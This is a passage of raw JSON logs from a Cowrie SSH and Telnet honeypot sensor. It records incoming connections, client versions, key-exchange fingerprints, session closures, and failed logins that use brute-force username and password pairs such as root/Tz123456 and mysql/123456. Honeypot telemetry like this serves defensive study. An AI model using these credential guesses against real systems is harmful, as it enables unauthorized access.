{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:21.990238Z","src_ip":"73.36.177.174","session":"e314cb5fe2f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pm","password":"pm","message":"login attempt [pm/pm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:22.199299Z","src_ip":"73.36.177.174","session":"e314cb5fe2f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:23.254804Z","src_ip":"73.36.177.174","session":"e314cb5fe2f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10432,"dst_ip":"10.17.0.5","dst_port":22,"session":"be59bfb9f25c","protocol":"ssh","message":"New connection: 91.92.40.36:10432 (10.17.0.5:22) [session: be59bfb9f25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:24.517048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:24.690662Z","src_ip":"91.92.40.36","session":"be59bfb9f25c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:24.694119Z","src_ip":"91.92.40.36","session":"be59bfb9f25c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":36778,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b9d6eb42d69","protocol":"ssh","message":"New connection: 150.136.214.177:36778 (10.17.0.5:22) [session: 0b9d6eb42d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:26.262652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:26.266876Z","src_ip":"150.136.214.177","session":"0b9d6eb42d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:26.291948Z","src_ip":"150.136.214.177","session":"0b9d6eb42d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42486,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ad1126565e5","protocol":"ssh","message":"New connection: 87.251.79.125:42486 (10.17.0.5:22) [session: 2ad1126565e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:26.338762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:26.343096Z","src_ip":"87.251.79.125","session":"2ad1126565e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:26.414183Z","src_ip":"87.251.79.125","session":"2ad1126565e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tz123456","message":"login attempt [root/Tz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:26.427545Z","src_ip":"150.136.214.177","session":"0b9d6eb42d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02111989","message":"login attempt [root/02111989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:26.628606Z","src_ip":"87.251.79.125","session":"2ad1126565e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali123","message":"login attempt [root/ali123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:26.646843Z","src_ip":"91.92.40.36","session":"be59bfb9f25c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:27.460205Z","src_ip":"150.136.214.177","session":"0b9d6eb42d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:27.710895Z","src_ip":"87.251.79.125","session":"2ad1126565e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:28.208836Z","src_ip":"91.92.40.36","session":"be59bfb9f25c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.25099229812622,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:32.022959Z","src_ip":"128.199.8.54","session":"a3b6f4fe57d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.45807433128357,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:32.260598Z","src_ip":"172.81.62.90","session":"cdcf142a8d3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43038,"dst_ip":"10.17.0.5","dst_port":22,"session":"69a508c817de","protocol":"ssh","message":"New connection: 91.92.40.36:43038 (10.17.0.5:22) [session: 69a508c817de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:33.511910Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":51254,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d3941f25ffc","protocol":"ssh","message":"New connection: 147.45.199.80:51254 (10.17.0.5:22) [session: 6d3941f25ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:33.832366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:33.836196Z","src_ip":"147.45.199.80","session":"6d3941f25ffc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:33.919025Z","src_ip":"91.92.40.36","session":"69a508c817de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:33.932101Z","src_ip":"147.45.199.80","session":"6d3941f25ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12347890","message":"login attempt [root/12347890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:34.222070Z","src_ip":"147.45.199.80","session":"6d3941f25ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:34.811176Z","src_ip":"91.92.40.36","session":"69a508c817de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:35.321179Z","src_ip":"147.45.199.80","session":"6d3941f25ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26080,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a0484245832","protocol":"ssh","message":"New connection: 91.92.40.36:26080 (10.17.0.5:22) [session: 0a0484245832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:39.587090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:39.855581Z","src_ip":"91.92.40.36","session":"0a0484245832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:39.861160Z","src_ip":"91.92.40.36","session":"0a0484245832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiao","password":"xiao","message":"login attempt [xiao/xiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:40.362169Z","src_ip":"91.92.40.36","session":"69a508c817de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:41.778860Z","src_ip":"91.92.40.36","session":"0a0484245832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:42.472560Z","src_ip":"91.92.40.36","session":"69a508c817de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:43.102383Z","src_ip":"91.92.40.36","session":"0a0484245832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":53414,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea49a3f8eb2d","protocol":"ssh","message":"New connection: 101.36.122.139:53414 (10.17.0.5:22) [session: ea49a3f8eb2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:43.414654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:43.421456Z","src_ip":"101.36.122.139","session":"ea49a3f8eb2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:43.639647Z","src_ip":"101.36.122.139","session":"ea49a3f8eb2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222","message":"login attempt [root/111222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:44.550515Z","src_ip":"101.36.122.139","session":"ea49a3f8eb2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:45.771745Z","src_ip":"101.36.122.139","session":"ea49a3f8eb2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42166,"dst_ip":"10.17.0.5","dst_port":22,"session":"69306fe622b0","protocol":"ssh","message":"New connection: 91.92.40.36:42166 (10.17.0.5:22) [session: 69306fe622b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:47.313414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:24:47.571326Z","src_ip":"91.92.40.36","session":"69306fe622b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hm